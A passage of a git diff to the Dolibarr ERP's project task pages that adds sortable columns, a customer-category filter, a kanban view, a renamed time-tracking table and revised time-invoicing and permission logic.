$_SERVER["PHP_SELF"], "t.duration_effective", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); } if (!empty($arrayfields['t.progress_calculated']['checked'])) { print_liste_field_titre($arrayfields['t.progress_calculated']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); } if (!empty($arrayfields['t.progress']['checked'])) { - print_liste_field_titre($arrayfields['t.progress']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); + print_liste_field_titre($arrayfields['t.progress']['label'], $_SERVER["PHP_SELF"], "t.progress", '', $param, '', $sortfield, $sortorder, 'right ', '', 1); } if (!empty($arrayfields['t.progress_summary']['checked'])) { print_liste_field_titre($arrayfields['t.progress_summary']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'center ', '', 1); } if ($object->usage_bill_time) { if (!empty($arrayfields['t.tobill']['checked'])) { - print_liste_field_titre($arrayfields['t.tobill']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right '); + print_liste_field_titre($arrayfields['t.tobill']['label'], $_SERVER["PHP_SELF"], "t.tobill", '', $param, '', $sortfield, $sortorder, 'right '); } if (!empty($arrayfields['t.billed']['checked'])) { - print_liste_field_titre($arrayfields['t.billed']['label'], $_SERVER["PHP_SELF"], "", '', $param, '', $sortfield, $sortorder, 'right '); + print_liste_field_titre($arrayfields['t.billed']['label'], $_SERVER["PHP_SELF"], "t.billed", '', $param, '', $sortfield, $sortorder, 'right '); } } // Contacts of task, disabled because available by default jsut after @@ -1042,7 +1089,7 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third */ if (!empty($arrayfields['t.budget_amount']['checked'])) { - print_liste_field_titre($arrayfields['t.budget_amount']['label'], $_SERVER["PHP_SELF"], "", "", $param, '', $sortfield, $sortorder, 'center '); + print_liste_field_titre($arrayfields['t.budget_amount']['label'], $_SERVER["PHP_SELF"], "t.budget_amount", "", $param, '', $sortfield, $sortorder, 'center '); } if (!empty($arrayfields['c.assigned']['checked'])) { @@ -1055,6 +1102,7 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; + print ''; print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); print "\n"; @@ -1062,13 +1110,13 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third if (count($tasksarray) > 0) { // Show all lines in taskarray (recursive function to go down on tree) $j = 0; $level = 0; - $nboftaskshown = projectLinesa($j, 0, $tasksarray, $level, true, 0, $tasksrole, $object->id, 1, $object->id, $filterprogresscalc, ($object->usage_bill_time ? 1 : 0), $arrayfields); + $nboftaskshown = projectLinesa($j, 0, $tasksarray, $level, true, 0, $tasksrole, $object->id, 1, $object->id, $filterprogresscalc, ($object->usage_bill_time ? 1 : 0), $arrayfields, $arrayofselected); } else { - $colspan = 10; + $colspan = 11; if ($object->usage_bill_time) { $colspan += 2; } - print ''; + print ''; } print "
       '; $searchpicto = $form->showFilterButtons(); @@ -997,41 +1044,41 @@ if ($action == 'create' && $user->rights->projet->creer && (empty($object->third print '
      '.$langs->trans("Project").'
      '.$langs->trans("NoTasks").'
      '.$langs->trans("NoTasks").'
      "; diff --git a/htdocs/projet/tasks/document.php b/htdocs/projet/tasks/document.php index 6a62e973a62..b8c6fd863c5 100644 --- a/htdocs/projet/tasks/document.php +++ b/htdocs/projet/tasks/document.php @@ -111,7 +111,7 @@ if ($id > 0 || !empty($ref)) { $object->project = clone $projectstatic; - $upload_dir = $conf->project->dir_output.'/'.dol_sanitizeFileName($projectstatic->ref).'/'.dol_sanitizeFileName($object->ref); + $upload_dir = $conf->project->multidir_output[$projectstatic->entity].'/'.dol_sanitizeFileName($projectstatic->ref).'/'.dol_sanitizeFileName($object->ref); } include DOL_DOCUMENT_ROOT.'/core/actions_linkedfiles.inc.php'; diff --git a/htdocs/projet/tasks/list.php b/htdocs/projet/tasks/list.php index fdec5c6a958..35e47f64604 100644 --- a/htdocs/projet/tasks/list.php +++ b/htdocs/projet/tasks/list.php @@ -4,6 +4,7 @@ * Copyright (C) 2006-2010 Regis Houssin * Copyright (C) 2018 Ferran Marcet * Copyright (C) 2021 Alexandre Spangaro + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -70,6 +71,13 @@ $search_task_budget_amount = GETPOST('search_task_budget_amount'); $search_societe = GETPOST('search_societe'); $search_societe_alias = GETPOST('search_societe_alias'); $search_opp_status = GETPOST("search_opp_status", 'alpha'); +$searchCategoryCustomerOperator = 0; +if (GETPOSTISSET('formfilteraction')) { + $searchCategoryCustomerOperator = GETPOST('search_category_customer_operator', 'int'); +} elseif (!empty($conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT)) { + $searchCategoryCustomerOperator = $conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT; +} +$searchCategoryCustomerList = GETPOST('search_category_customer_list', 'array'); $mine = GETPOST('mode', 'alpha') == 'mine' ? 1 : 0; if ($mine) { @@ -235,6 +243,7 @@ if (empty($reshook)) { $search_datelimit_start = ''; $search_datelimit_end = ''; $toselect = array(); + $searchCategoryCustomerList = array(); $search_array_options = array(); } @@ -337,7 +346,7 @@ $sql .= " t.description, t.fk_task_parent"; $sql .= " ,t.budget_amount"; // Add sum fields if (!empty($arrayfields['t.tobill']['checked']) || !empty($arrayfields['t.billed']['checked'])) { - $sql .= " , SUM(tt.task_duration * ".$db->ifsql("invoice_id IS NULL", "1", "0").") as tobill, SUM(tt.task_duration * ".$db->ifsql("invoice_id IS NULL", "0", "1").") as billed"; + $sql .= " , SUM(tt.element_duration * ".$db->ifsql("invoice_id IS NULL", "1", "0").") as tobill, SUM(tt.element_duration * ".$db->ifsql("invoice_id IS NULL", "0", "1").") as billed"; } // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { @@ -353,7 +362,7 @@ $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s on p.fk_soc = s.rowid"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; if (!empty($arrayfields['t.tobill']['checked']) || !empty($arrayfields['t.billed']['checked'])) { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_task_time as tt ON tt.fk_task = t.rowid"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."element_time as tt ON (tt.fk_element = t.rowid AND tt.elementtype = 'task')"; } if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; @@ -400,11 +409,15 @@ if ($search_task_progress) { if ($search_task_budget_amount) { $sql .= natural_search('t.budget_amount', $search_task_budget_amount, 1); } -if ($search_societe) { - $sql .= natural_search('s.nom', $search_societe); -} -if ($search_societe_alias) { - $sql .= natural_search('s.name_alias', $search_societe_alias); +if (empty($arrayfields['s.name_alias']['checked']) && $search_societe) { + $sql .= natural_search(array("s.nom", "s.name_alias"), $search_societe); +} else { + if ($search_societe) { + $sql .= natural_search('s.nom', $search_societe); + } + if ($search_societe_alias) { + $sql .= natural_search('s.name_alias', $search_societe_alias); + } } if ($search_date_start) { $sql .= " AND t.dateo >= '".$db->idate($search_date_start)."'"; @@ -464,6 +477,50 @@ if (!empty($searchCategoryProjectList)) { } } } +$searchCategoryCustomerSqlList = array(); +if ($searchCategoryCustomerOperator == 1) { + $existsCategoryCustomerList = array(); + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $existsCategoryCustomerList[] = $db->escape($searchCategoryCustomer); + } + } + if (!empty($existsCategoryCustomerList)) { + $sqlCategoryCustomerExists = " EXISTS ("; + $sqlCategoryCustomerExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerExists .= " AND cat_cus.fk_categorie IN (".$db->sanitize(implode(',', $existsCategoryCustomerList)).")"; + $sqlCategoryCustomerExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerExists; + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' OR ', $searchCategoryCustomerSqlList).")"; + } +} else { + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $searchCategoryCustomerSqlList[] = "p.fk_soc IN (SELECT fk_soc FROM ".$db->prefix()."categorie_societe WHERE fk_categorie = ".((int) $searchCategoryCustomer).")"; + } + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' AND ', $searchCategoryCustomerSqlList).")"; + } +} // Add where from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks @@ -524,6 +581,9 @@ llxHeader('', $title, $help_url); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -617,6 +677,9 @@ if ($search_task_user > 0) { if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); } +foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + $param .= "&search_category_customer_list[]=".urlencode($searchCategoryCustomer); +} // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; // Add $param from hooks @@ -638,7 +701,11 @@ if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'pr } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); -$newcardbutton = dolGetButtonTitle($langs->trans('NewTask'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/projet/tasks.php?action=create', '', $user->rights->projet->creer); +$newcardbutton = ''; + +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewTask'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/projet/tasks.php?action=create', '', $user->rights->projet->creer); print '
      '."\n"; if ($optioncss != '') { @@ -653,6 +720,8 @@ if (!empty($type)) { print ''; } print ''; +print ''; + // Show description of content $texthelp = ''; @@ -712,6 +781,19 @@ if (empty($user->rights->user->user->lire)) { $moreforfilter .= img_picto($tmptitle, 'user', 'class="pictofixedwidth"').$form->select_dolusers($search_task_user, 'search_task_user', $tmptitle, '', 0, $includeonly, '', 0, 0, 0, '', 0, '', 'maxwidth250'); $moreforfilter .= '
      '; +// Filter on customer categories +if (!empty($conf->global->MAIN_SEARCH_CATEGORY_CUSTOMER_ON_TASK_LIST) && !empty($conf->categorie->enabled) && $user->rights->categorie->lire) { + $moreforfilter .= '
      '; + $tmptitle = $langs->transnoentities('CustomersProspectsCategoriesShort'); + $moreforfilter .= img_picto($tmptitle, 'category', 'class="pictofixedwidth"'); + $categoriesArr = $form->select_all_categories(Categorie::TYPE_CUSTOMER, '', '', 64, 0, 1); + $categoriesArr[-2] = '- '.$langs->trans('NotCategorized').' -'; + $moreforfilter .= Form::multiselectarray('search_category_customer_list', $categoriesArr, $searchCategoryCustomerList, 0, 0, 'minwidth300', 0, 0, '', 'category', $tmptitle); + $moreforfilter .= ' '; + $moreforfilter .= $form->textwithpicto('', $langs->trans('UseOrOperatorForCategories') . ' : ' . $tmptitle, 1, 'help', '', 0, 2, 'tooltip_cat_cus'); // Tooltip on click + $moreforfilter .= '
      '; +} + if (!empty($moreforfilter)) { print '
      '; print $moreforfilter; @@ -1046,9 +1128,11 @@ while ($i < $imaxinloop) { if ($mode == 'kanban') { if ($i == 0) { print ''; - print '
      '; + print '
      '; } // Output Kanban + $object->fk_statut = $projectstatic->getLibStatut(1); + $object->fk_project = $projectstatic->getNomUrl(1, 'task'); print $object->getKanbanView(''); if ($i == ($imaxinloop - 1)) { print '
      '; @@ -1419,6 +1503,13 @@ while ($i < $imaxinloop) { } // Show total line +if (!empty($totalarray['totalizable']) && is_array($totalarray['totalizable'])) { + foreach ($totalarray['totalizable'] as $keytotalizable => $valtotalizable) { + $totalarray['pos'][$valtotalizable['pos']] = $keytotalizable; + $totalarray['val'][$keytotalizable] = $valtotalizable['total']; + } +} + if (isset($totalarray['totaldurationeffectivefield']) || isset($totalarray['totalplannedworkloadfield']) || isset($totalarray['totalprogress_calculatedfield']) || isset($totalarray['totaltobill']) || isset($totalarray['totalbilled']) || isset($totalarray['totalbudget'])) { print ''; @@ -1445,6 +1536,14 @@ if (isset($totalarray['totaldurationeffectivefield']) || isset($totalarray['tota print ''.convertSecondToTime($totalarray['totalbilled'], $plannedworkloadoutputformat).''; } elseif ($totalarray['totalbudget_amountfield'] == $i) { print ''.price($totalarray['totalbudgetamount'], 0, $langs, 1, 0, 0, $conf->currency).''; + } elseif (!empty($totalarray['pos'][$i])) { + print ''; + if (isset($totalarray['type']) && $totalarray['type'][$i] == 'duration') { + print (!empty($totalarray['val'][$totalarray['pos'][$i]])?convertSecondToTime($totalarray['val'][$totalarray['pos'][$i]], 'allhourmin'):0); + } else { + print price(!empty($totalarray['val'][$totalarray['pos'][$i]])?$totalarray['val'][$totalarray['pos'][$i]]:0); + } + print ''; } else { print ''; } diff --git a/htdocs/projet/tasks/stats/index.php b/htdocs/projet/tasks/stats/index.php index 07b0199d480..ee0bae2dc45 100644 --- a/htdocs/projet/tasks/stats/index.php +++ b/htdocs/projet/tasks/stats/index.php @@ -224,7 +224,7 @@ print $stringtoshow; print '
      '; -print '
      '; +print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/projet/tasks/task.php b/htdocs/projet/tasks/task.php index 8b19c8c0519..8a0d976b379 100644 --- a/htdocs/projet/tasks/task.php +++ b/htdocs/projet/tasks/task.php @@ -46,6 +46,7 @@ $taskref = GETPOST("taskref", 'alpha'); // task ref $withproject = GETPOST('withproject', 'int'); $project_ref = GETPOST('project_ref', 'alpha'); $planned_workload = ((GETPOST('planned_workloadhour', 'int') != '' || GETPOST('planned_workloadmin', 'int') != '') ? (GETPOST('planned_workloadhour', 'int') > 0 ?GETPOST('planned_workloadhour', 'int') * 3600 : 0) + (GETPOST('planned_workloadmin', 'int') > 0 ?GETPOST('planned_workloadmin', 'int') * 60 : 0) : ''); +$mode = GETPOST('mode', 'alpha'); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('projecttaskcard', 'globalcard')); @@ -467,7 +468,7 @@ if ($id > 0 || !empty($ref)) { // Task parent print ''.$langs->trans("ChildOfProjectTask").''; - print $formother->selectProjectTasks($object->fk_task_parent, $projectstatic->id, 'task_parent', ($user->admin ? 0 : 1), 0, 0, 0, $object->id); + $formother->selectProjectTasks($object->fk_task_parent, $projectstatic->id, 'task_parent', ($user->admin ? 0 : 1), 0, 0, 0, $object->id); print ''; // Date start @@ -632,7 +633,7 @@ if ($id > 0 || !empty($ref)) { // Budget print ''.$langs->trans("Budget").''; - if (strcmp($object->budget_amount, '')) { + if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print ''.price($object->budget_amount, 0, $langs, 1, 0, 0, $conf->currency).''; } print ''; diff --git a/htdocs/projet/tasks/time.php b/htdocs/projet/tasks/time.php index 8e30664232b..12eb7c573ce 100644 --- a/htdocs/projet/tasks/time.php +++ b/htdocs/projet/tasks/time.php @@ -1,11 +1,12 @@ - * Copyright (C) 2006-2021 Laurent Destailleur + * Copyright (C) 2006-2023 Laurent Destailleur * Copyright (C) 2010-2012 Regis Houssin * Copyright (C) 2011 Juanjo Menent * Copyright (C) 2018 Ferran Marcet * Copyright (C) 2018 Frédéric France * Copyright (C) 2019-2021 Christophe Battarel + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -54,6 +55,7 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected i $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'timespentlist'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'alpha'); +$mode = GETPOST('mode', 'alpha'); $id = GETPOST('id', 'int'); $projectid = GETPOST('projectid', 'int'); @@ -67,6 +69,14 @@ $search_month = GETPOST('search_month', 'int'); $search_year = GETPOST('search_year', 'int'); $search_datehour = ''; $search_datewithhour = ''; +$search_date_startday = GETPOST('search_date_startday', 'int'); +$search_date_startmonth = GETPOST('search_date_startmonth', 'int'); +$search_date_startyear = GETPOST('search_date_startyear', 'int'); +$search_date_endday = GETPOST('search_date_endday', 'int'); +$search_date_endmonth = GETPOST('search_date_endmonth', 'int'); +$search_date_endyear = GETPOST('search_date_endyear', 'int'); +$search_date_start = dol_mktime(0, 0, 0, $search_date_startmonth, $search_date_startday, $search_date_startyear); // Use tzserver +$search_date_end = dol_mktime(23, 59, 59, $search_date_endmonth, $search_date_endday, $search_date_endyear); $search_note = GETPOST('search_note', 'alpha'); $search_duration = GETPOST('search_duration', 'int'); $search_value = GETPOST('search_value', 'int'); @@ -76,6 +86,13 @@ $search_user = GETPOST('search_user', 'int'); $search_valuebilled = GETPOST('search_valuebilled', 'int'); $search_product_ref = GETPOST('search_product_ref', 'alpha'); $search_company = GETPOST('$search_company', 'alpha'); +$search_company_alias = GETPOST('$search_company_alias', 'alpha'); +$search_project_ref = GETPOST('$search_project_ref', 'alpha'); +$search_project_label = GETPOST('$search_project_label', 'alpha'); +$search_timespent_starthour = GETPOSTINT("search_timespent_duration_starthour"); +$search_timespent_startmin = GETPOSTINT("search_timespent_duration_startmin"); +$search_timespent_endhour = GETPOSTINT("search_timespent_duration_endhour"); +$search_timespent_endmin = GETPOSTINT("search_timespent_duration_endmin"); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); @@ -88,7 +105,7 @@ $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; if (!$sortfield) { - $sortfield = 't.task_date,t.task_datehour,t.rowid'; + $sortfield = 't.element_date,t.element_datehour,t.rowid'; } if (!$sortorder) { $sortorder = 'DESC,DESC,DESC'; @@ -165,14 +182,29 @@ if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x' $search_value = ''; $search_date_creation = ''; $search_date_update = ''; + $search_date_startday = ''; + $search_date_startmonth = ''; + $search_date_startyear = ''; + $search_date_endday = ''; + $search_date_endmonth = ''; + $search_date_endyear = ''; + $search_date_start = ''; + $search_date_end = ''; $search_task_ref = ''; $search_company = ''; + $search_company_alias = ''; + $search_project_ref = ''; + $search_project_label = ''; $search_task_label = ''; - $search_user = 0; + $search_user = -1; $search_valuebilled = ''; $search_product_ref = ''; $toselect = array(); $search_array_options = array(); + $search_timespent_starthour = ''; + $search_timespent_startmin = ''; + $search_timespent_endhour = ''; + $search_timespent_endmin = ''; $action = ''; } @@ -278,6 +310,8 @@ if (($action == 'updateline' || $action == 'updatesplitline') && !$cancel && $us } $object->timespent_fk_user = GETPOST("userid_line", 'int'); $object->timespent_fk_product = GETPOST("fk_product", 'int'); + $object->timespent_invoiceid = GETPOST("invoiceid", 'int'); + $object->timespent_invoicelineid = GETPOST("invoicelineid", 'int'); $result = 0; if (in_array($object->timespent_fk_user, $childids) || $user->rights->projet->all->creer) { @@ -305,8 +339,10 @@ if (($action == 'updateline' || $action == 'updatesplitline') && !$cancel && $us } $object->timespent_fk_user = GETPOST("userid_line", 'int'); $object->timespent_fk_product = GETPOST("fk_product", 'int'); - + $object->timespent_invoiceid = GETPOST("invoiceid", 'int'); + $object->timespent_invoicelineid = GETPOST("invoicelineid", 'int'); $result = 0; + if (in_array($object->timespent_fk_user, $childids) || $user->rights->projet->all->creer) { $result = $object->updateTimeSpent($user); @@ -323,10 +359,10 @@ if (($action == 'updateline' || $action == 'updatesplitline') && !$cancel && $us } } -if ($action == 'confirm_deleteline' && $confirm == "yes" && $user->rights->projet->supprimer) { - $object->fetchTimeSpent(GETPOST('lineid', 'int')); // load properties like $object->timespent_id +if ($action == 'confirm_deleteline' && $confirm == "yes" && ($user->hasRight('projet', 'time') || $user->hasRight('projet', 'all', 'creer'))) { + $object->fetchTimeSpent(GETPOST('lineid', 'int')); // load properties like $object->timespent_xxx - if (in_array($object->timespent_fk_user, $childids) || $user->rights->projet->all->creer) { + if (in_array($object->timespent_fk_user, $childids) || $user->hasRight('projet', 'all', 'creer')) { $result = $object->delTimeSpent($user); // delete line with $object->timespent_id if ($result < 0) { @@ -447,27 +483,38 @@ if ($action == 'confirm_generateinvoice') { } if (!$error) { - if ($generateinvoicemode == 'onelineperuser') { + if ($generateinvoicemode == 'onelineperuser') { // 1 line per user (and per product) $arrayoftasks = array(); foreach ($toselect as $key => $value) { // Get userid, timepent - $object->fetchTimeSpent($value); + $object->fetchTimeSpent($value); // $value is ID of 1 line in timespent table $arrayoftasks[$object->timespent_fk_user][(int) $object->timespent_fk_product]['timespent'] += $object->timespent_duration; $arrayoftasks[$object->timespent_fk_user][(int) $object->timespent_fk_product]['totalvaluetodivideby3600'] += ($object->timespent_duration * $object->timespent_thm); } foreach ($arrayoftasks as $userid => $data) { $fuser->fetch($userid); - //$pu_ht = $value['timespent'] * $fuser->thm; $username = $fuser->getFullName($langs); - foreach ($data as $fk_product=>$timespent_data) { + + foreach ($data as $fk_product => $timespent_data) { // Define qty per hour $qtyhour = $timespent_data['timespent'] / 3600; $qtyhourtext = convertSecondToTime($timespent_data['timespent'], 'all', $conf->global->MAIN_DURATION_OF_WORKDAY); - // If no unit price known + // Set the unit price we want to sell the time, for this user + if (getDolGlobalInt('PROJECT_USE_REAL_COST_FOR_TIME_INVOICING')) { + // We set unit price to 0 to force the use of the rate saved during recording + $pu_ht = 0; + } else { + // We want to sell all the time spent with the last hourly rate of user + $pu_ht = $fuser->thm; + } + + // If no unit price known for user, we use the price recorded when recording timespent. if (empty($pu_ht)) { - $pu_ht = price2num($timespent_data['totalvaluetodivideby3600'] / 3600, 'MU'); + if ($timespent_data['timespent']) { + $pu_ht = price2num(($timespent_data['totalvaluetodivideby3600'] / $timespent_data['timespent']), 'MU'); + } } // Add lines @@ -478,7 +525,8 @@ if ($action == 'confirm_generateinvoice') { $localtax1line = $localtax1; $localtax2line = $localtax2; - if (!empty($fk_product) && $fk_product!==$idprod) { + // If a particular product/service was defined for the task + if (!empty($fk_product) && $fk_product !== $idprod) { if (!array_key_exists($fk_product, $product_data_cache)) { $result = $tmpproduct->fetch($fk_product); if ($result < 0) { @@ -518,7 +566,7 @@ if ($action == 'confirm_generateinvoice') { } // Update lineid into line of timespent - $sql = 'UPDATE '.MAIN_DB_PREFIX.'projet_task_time SET invoice_line_id = '.((int) $lineid).', invoice_id = '.((int) $tmpinvoice->id); + $sql = 'UPDATE '.MAIN_DB_PREFIX.'element_time SET invoice_line_id = '.((int) $lineid).', invoice_id = '.((int) $tmpinvoice->id); $sql .= ' WHERE rowid IN ('.$db->sanitize(join(',', $toselect)).') AND fk_user = '.((int) $userid); $result = $db->query($sql); if (!$result) { @@ -622,7 +670,7 @@ if ($action == 'confirm_generateinvoice') { //var_dump($lineid);exit; // Update lineid into line of timespent - $sql = 'UPDATE '.MAIN_DB_PREFIX.'projet_task_time SET invoice_line_id = '.((int) $lineid).', invoice_id = '.((int) $tmpinvoice->id); + $sql = 'UPDATE '.MAIN_DB_PREFIX.'element_time SET invoice_line_id = '.((int) $lineid).', invoice_id = '.((int) $tmpinvoice->id); $sql .= ' WHERE rowid IN ('.$db->sanitize(join(',', $toselect)).') AND fk_user = '.((int) $userid); $result = $db->query($sql); if (!$result) { @@ -721,7 +769,7 @@ if ($action == 'confirm_generateinvoice') { if (!$error) { // Update lineid into line of timespent - $sql = 'UPDATE ' . MAIN_DB_PREFIX . 'projet_task_time SET invoice_line_id = ' . ((int) $lineid) . ', invoice_id = ' . ((int) $tmpinvoice->id); + $sql = 'UPDATE ' . MAIN_DB_PREFIX . 'element_time SET invoice_line_id = ' . ((int) $lineid) . ', invoice_id = ' . ((int) $tmpinvoice->id); $sql .= ' WHERE rowid IN (' . $db->sanitize(join(',', $toselect)) . ')'; $result = $db->query($sql); if (!$result) { @@ -969,7 +1017,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Budget print ''.$langs->trans("Budget").''; - if (strcmp($projectstatic->budget_amount, '')) { + if (!is_null($projectstatic->budget_amount) && strcmp($projectstatic->budget_amount, '')) { print ''.price($projectstatic->budget_amount, '', $langs, 1, 0, 0, $conf->currency).''; } print ''; @@ -1003,7 +1051,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser // Description print ''.$langs->trans("Description").''; - print nl2br($projectstatic->description); + print dol_htmlentitiesbr($projectstatic->description); print ''; // Categories @@ -1066,7 +1114,7 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser //'builddoc'=>$langs->trans("PDFMerge"), ); } - if ( isModEnabled('ficheinter') && $user->rights->ficheinter->creer) { + if ( isModEnabled('ficheinter') && $user->hasRight('ficheinter', 'creer')) { $langs->load("interventions"); $arrayofmassactions['generateinter'] = $langs->trans("GenerateInter"); } @@ -1077,23 +1125,27 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); + // Task + // Show section with information of task. If id of task is not defined and project id defined, then $projectidforalltimes is not empty. if (empty($projectidforalltimes) && empty($allprojectforuser)) { $head = task_prepare_head($object); print dol_get_fiche_head($head, 'task_time', $langs->trans("Task"), -1, 'projecttask', 0, '', 'reposition'); if ($action == 'deleteline') { - print $form->formconfirm($_SERVER["PHP_SELF"]."?".($object->id > 0 ? "id=".$object->id : 'projectid='.$projectstatic->id).'&lineid='.GETPOST("lineid", 'int').($withproject ? '&withproject=1' : ''), $langs->trans("DeleteATimeSpent"), $langs->trans("ConfirmDeleteATimeSpent"), "confirm_deleteline", '', '', 1); + $urlafterconfirm = $_SERVER["PHP_SELF"]."?".($object->id > 0 ? "id=".$object->id : 'projectid='.$projectstatic->id).'&lineid='.GETPOST("lineid", 'int').($withproject ? '&withproject=1' : ''); + print $form->formconfirm($urlafterconfirm, $langs->trans("DeleteATimeSpent"), $langs->trans("ConfirmDeleteATimeSpent"), "confirm_deleteline", '', '', 1); } $param = ($withproject ? '&withproject=1' : ''); + $param .= ($param ? '&' : '').'id='.$object->id; // ID of task $linkback = $withproject ? ''.$langs->trans("BackToList").'' : ''; if (!GETPOST('withproject') || empty($projectstatic->id)) { $projectsListId = $projectstatic->getProjectsAuthorizedForUser($user, 0, 1); $object->next_prev_filter = " fk_projet IN (".$db->sanitize($projectsListId).")"; } else { - $object->next_prev_filter = " fk_projet = ".$projectstatic->id; + $object->next_prev_filter = " fk_projet = ".((int) $projectstatic->id); } $morehtmlref = ''; @@ -1190,21 +1242,19 @@ if (($id > 0 || !empty($ref)) || $projectidforalltimes > 0 || $allprojectforuser if ($projectstatic->id > 0 || $allprojectforuser > 0) { - if ($action == 'deleteline' && !empty($projectidforalltimes)) { - print $form->formconfirm($_SERVER["PHP_SELF"]."?".($object->id > 0 ? "id=".$object->id : 'projectid='.$projectstatic->id).'&lineid='.GETPOST('lineid', 'int').($withproject ? '&withproject=1' : ''), $langs->trans("DeleteATimeSpent"), $langs->trans("ConfirmDeleteATimeSpent"), "confirm_deleteline", '', '', 1); - } - // Initialize technical object to manage hooks. Note that conf->hooks_modules contains array $hookmanager->initHooks(array('tasktimelist')); $formconfirm = ''; if ($action == 